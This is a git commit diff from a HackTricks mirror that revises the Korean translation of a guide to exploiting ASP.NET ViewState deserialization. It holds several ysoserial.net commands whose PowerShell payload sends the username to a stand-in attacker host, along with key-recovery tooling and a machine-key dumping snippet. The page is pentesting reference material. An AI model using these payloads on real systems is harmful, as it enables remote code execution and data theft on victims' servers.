mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
a03278c0f0
commit
cfabaeed41
@ -4,25 +4,25 @@
|
||||
|
||||
## What is ViewState
|
||||
|
||||
**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘으로 작용합니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.
|
||||
**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘으로 사용됩니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.
|
||||
|
||||
ViewState 정보는 다음 속성 또는 그 조합으로 특징지을 수 있습니다:
|
||||
|
||||
- **Base64**:
|
||||
- 이 형식은 `EnableViewStateMac` 및 `ViewStateEncryptionMode` 속성이 모두 false로 설정될 때 사용됩니다.
|
||||
- **Base64 + MAC (Message Authentication Code) Enabled**:
|
||||
- **Base64 + MAC (메시지 인증 코드) 활성화**:
|
||||
- MAC의 활성화는 `EnableViewStateMac` 속성을 true로 설정하여 이루어집니다. 이는 ViewState 데이터에 대한 무결성 검증을 제공합니다.
|
||||
- **Base64 + Encrypted**:
|
||||
- `ViewStateEncryptionMode` 속성이 true로 설정될 때 암호화가 적용되어 ViewState 데이터의 기밀성을 보장합니다.
|
||||
- **Base64 + 암호화**:
|
||||
- 암호화는 `ViewStateEncryptionMode` 속성이 true로 설정될 때 적용되어 ViewState 데이터의 기밀성을 보장합니다.
|
||||
|
||||
## Test Cases
|
||||
|
||||
이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState의 다양한 구성에 대한 표입니다. 내용 요약은 다음과 같습니다:
|
||||
|
||||
1. **모든 .NET 버전**에 대해, MAC과 Encryption이 모두 비활성화되면 MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다.
|
||||
2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 Encryption이 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다.
|
||||
3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이 Encryption이 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 작업은 "Blacklist3r - Future Development"입니다.
|
||||
4. **4.5 이상 버전**의 경우, MAC과 Encryption의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey를 필요로 합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.
|
||||
1. **모든 .NET 버전**에 대해, MAC과 암호화가 모두 비활성화되면 MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다.
|
||||
2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 암호화가 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다.
|
||||
3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이 암호화가 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 작업은 "Blacklist3r - Future Development"입니다.
|
||||
4. **4.5 이상 버전**의 경우, MAC과 암호화의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey가 필요합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.
|
||||
|
||||
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||||
|
||||
@ -32,15 +32,15 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**ViewState 속성 식별**
|
||||
|
||||
BurpSuite를 사용하여 이 매개변수를 포함하는 요청을 캡처하여 ViewState가 MAC으로 보호되는지 확인할 수 있습니다. Mac이 매개변수를 보호하는 데 사용되지 않는 경우 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)을 사용하여 이를 악용할 수 있습니다.
|
||||
BurpSuite를 사용하여 이 매개변수를 포함하는 요청을 캡처하여 ViewState가 MAC으로 보호되는지 확인할 수 있습니다. 매개변수를 보호하는 데 Mac이 사용되지 않는 경우 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)을 사용하여 이를 악용할 수 있습니다.
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
### Test case 1.5 – Test case 1과 같지만 ViewState 쿠키가 서버에 의해 전송되지 않음
|
||||
|
||||
개발자는 **ViewState**가 HTTP 요청의 일부가 되지 않도록 할 수 있습니다 (사용자는 이 쿠키를 받지 않음).\
|
||||
**ViewState**가 **존재하지 않으면**, 그들의 구현이 **ViewState 역직렬화로 인한 잠재적 취약점**으로부터 **안전하다**고 가정할 수 있습니다.\
|
||||
하지만, 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면, 여전히 **코드 실행**을 달성할 수 있습니다, **Case 1**에서 보여준 것처럼.
|
||||
**ViewState**가 **존재하지 않으면**, 그들의 구현이 ViewState 역직렬화로 인해 발생할 수 있는 잠재적 취약점으로부터 **안전하다**고 가정할 수 있습니다.\
|
||||
하지만, 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면, 여전히 **코드 실행**을 달성할 수 있습니다. 이는 **Case 1**에서 보여줍니다.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 및 EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
@ -68,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)는 알려진 machineKeys를 식별할 수 있는 또 다른 도구입니다. Python으로 작성되었기 때문에 Blacklist3r와 달리 Windows 의존성이 없습니다. .NET viewstates의 경우, "python blacklist3r" 유틸리티가 있으며, 이는 사용하기 가장 빠른 방법입니다.
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)는 알려진 machineKeys를 식별할 수 있는 또 다른 도구입니다. Python으로 작성되었기 때문에 Blacklist3r와 달리 Windows 의존성이 없습니다. .NET viewstates의 경우, "python blacklist3r" 유틸리티가 있으며, 이는 가장 빠른 사용 방법입니다.
|
||||
|
||||
viewstate와 generator를 직접 제공할 수 있습니다:
|
||||
```
|
||||
@ -110,15 +110,15 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
**이 경우** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **모듈이 개발 중입니다...**
|
||||
|
||||
**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **수용할 수 있습니다**. ASP.NET은 요청에서 **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만을 **확인합니다**. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.**
|
||||
**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **받을 수 있습니다**. ASP.NET은 요청에서 **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만 확인합니다. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.**
|
||||
|
||||
따라서 공격자가 파일 탐색과 같은 다른 취약점을 통해 Machinekey를 얻는 방법을 찾으면, **Case 2**에서 사용된 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 명령을 사용하여 ViewState 역직렬화 취약점을 이용한 RCE를 수행할 수 있습니다.
|
||||
|
||||
- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거해야 하며, 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 공격이 실패합니다.
|
||||
- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거해야 하며, 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 악용이 실패합니다.
|
||||
|
||||
### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
|
||||
|
||||
아래 매개변수를 web.config 파일에 지정하여 ASP.NET 프레임워크의 사용을 강제할 수 있습니다.
|
||||
아래와 같이 web.config 파일 내에 아래 매개변수를 지정하여 ASP.NET 프레임워크의 사용을 강제할 수 있습니다.
|
||||
```xml
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
@ -128,7 +128,7 @@ compatibilityMode="Framework45"
|
||||
```
|
||||
이전과 마찬가지로 **값이 암호화되어 있습니다.** 그러므로 **유효한 페이로드를 보내기 위해 공격자는 키가 필요합니다.**
|
||||
|
||||
[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 를 사용하여 사용 중인 키를 찾을 수 있습니다:
|
||||
키를 찾기 위해 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)를 사용해 볼 수 있습니다:
|
||||
```
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||||
|
||||
@ -138,26 +138,26 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
||||
```
|
||||
IISDirPath와 TargetPagePath에 대한 더 자세한 설명은 [여기를 참조하세요](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/).
|
||||
|
||||
또는 [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (생성기 값 포함)를 사용하여:
|
||||
또는 [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (생성기 값 포함)와 함께:
|
||||
```bash
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
```
|
||||

|
||||
|
||||
유효한 Machine key가 식별되면, **다음 단계는** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **을 사용하여 직렬화된 페이로드를 생성하는 것입니다.**
|
||||
유효한 Machine key가 확인되면, **다음 단계는** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **을 사용하여 직렬화된 페이로드를 생성하는 것입니다.**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
`__VIEWSTATEGENERATOR`의 값을 가지고 있다면, 해당 값을 사용하여 `--generator` 매개변수를 사용하고 `--path` 및 `--apppath` 매개변수는 생략할 수 있습니다.
|
||||
`__VIEWSTATEGENERATOR`의 값을 가지고 있다면, 해당 값을 사용하여 `--generator` 매개변수를 **사용**하고 `--path` 및 `--apppath` 매개변수를 **생략**할 수 있습니다.
|
||||
|
||||

|
||||
|
||||
ViewState 역직렬화 취약점을 성공적으로 악용하면 공격자가 제어하는 서버로 사용자 이름이 포함된 비동기 요청이 전송됩니다. 이러한 종류의 익스플로잇은 "Blacklist3r 및 YsoSerial.NET을 사용한 ViewState 역직렬화 악용"이라는 제목의 리소스를 통해 찾을 수 있는 개념 증명(PoC)에서 시연됩니다. 악용 프로세스가 어떻게 작동하는지와 MachineKey 식별을 위한 Blacklist3r와 같은 도구를 활용하는 방법에 대한 자세한 내용은 제공된 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)을 검토할 수 있습니다.
|
||||
ViewState 역직렬화 취약점을 성공적으로 악용하면 사용자 이름이 포함된 공격자 제어 서버로의 아웃 오브 밴드 요청이 발생합니다. 이러한 종류의 익스플로잇은 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET"이라는 제목의 리소스를 통해 찾을 수 있는 개념 증명(PoC)에서 시연됩니다. 익스플로잇 과정이 어떻게 작동하는지와 MachineKey 식별을 위한 Blacklist3r와 같은 도구를 활용하는 방법에 대한 자세한 내용은 제공된 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)을 검토할 수 있습니다.
|
||||
|
||||
### Test Case 6 – ViewStateUserKeys가 사용되고 있음
|
||||
|
||||
**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용할 수 있습니다. 애플리케이션에 그러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\
|
||||
**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용할 수 있습니다. 애플리케이션에서 이러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\
|
||||
페이로드를 올바르게 생성하기 위해 추가 매개변수를 하나 더 사용해야 합니다:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
@ -186,7 +186,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
|
||||
}
|
||||
</script>
|
||||
```
|
||||
페이지 요청 시 **ValidationKey**, **DecryptionKey**, 암호화 알고리즘 및 ASP.NET 호환 모드가 출력됩니다. 이러한 값은 이제 **ysoserial.net**에 직접 입력하여 유효하고 서명된 `__VIEWSTATE` 가젯을 생성할 수 있습니다:
|
||||
페이지 요청 시 **ValidationKey**, **DecryptionKey**, 암호화 알고리즘 및 ASP.NET 호환 모드가 출력됩니다. 이러한 값은 이제 **ysoserial.net**에 직접 입력하여 유효한 서명된 `__VIEWSTATE` 가젯을 생성할 수 있습니다:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
-c "powershell -nop -c \"whoami\"" \
|
||||
@ -196,21 +196,19 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
--islegacy --minify
|
||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
이 **키 유출 원시**는 2025년 온프레미스 SharePoint 서버에서 대규모로 악용되었으며 ("ToolShell" – CVE-2025-53770/53771), 공격자가 서버 측 코드를 실행할 수 있는 모든 ASP.NET 애플리케이션에 적용 가능합니다.
|
||||
이 **키 유출 원시**는 2025년 온프레미스 SharePoint 서버에서 대규모로 악용되었으며 ("ToolShell" – CVE-2025-53770/53771), 이는 공격자가 서버 측 코드를 실행할 수 있는 모든 ASP.NET 애플리케이션에 적용 가능합니다.
|
||||
|
||||
## 2024-2025 실제 악용 시나리오 및 하드코딩된 머신 키
|
||||
|
||||
### Microsoft “공개된 머신 키” 파동 (2024년 12월 – 2025년 2월)
|
||||
Microsoft Threat Intelligence는 *machineKey*가 이전에 공개 소스(GitHub gists, 블로그 게시물, paste 사이트)에서 유출된 ASP.NET 사이트의 대규모 악용을 보고했습니다. 적대자는 이러한 키를 열거하고 WAF 길이 제한을 피하기 위해 새로운 `ysoserial.net` 1.41 `--minify` 및 `--islegacy` 플래그로 유효한 `__VIEWSTATE` 가젯을 생성했습니다:
|
||||
### Microsoft “공식 공개된 머신 키” 파동 (2024년 12월 – 2025년 2월)
|
||||
Microsoft 위협 인텔리전스는 *machineKey*가 이전에 공개 소스(GitHub gists, 블로그 게시물, paste 사이트)에서 유출된 ASP.NET 사이트의 대규모 악용을 보고했습니다. 적대자는 이러한 키를 열거하고 WAF 길이 제한을 피하기 위해 새로운 `ysoserial.net` 1.41 `--minify` 및 `--islegacy` 플래그로 유효한 `__VIEWSTATE` 가젯을 생성했습니다:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
정적 키를 회전시키거나 Web .config에서 *AutoGenerate* 키로 전환하는 것(`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`)은 이 공격 유형을 완화합니다. {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
정적 키를 회전시키거나 Web .config에서 *AutoGenerate* 키로 전환하는 것(`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`)은 이 공격 유형을 완화합니다.
|
||||
|
||||
### CVE-2025-30406 – Gladinet CentreStack / Triofox 하드코딩된 키
|
||||
Kudelski Security는 여러 CentreStack / Triofox 릴리스가 동일한 `machineKey` 값을 포함하고 있어 ViewState 위조를 통한 인증되지 않은 원격 코드 실행이 가능하다는 것을 발견했습니다 (CVE-2025-30406).
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user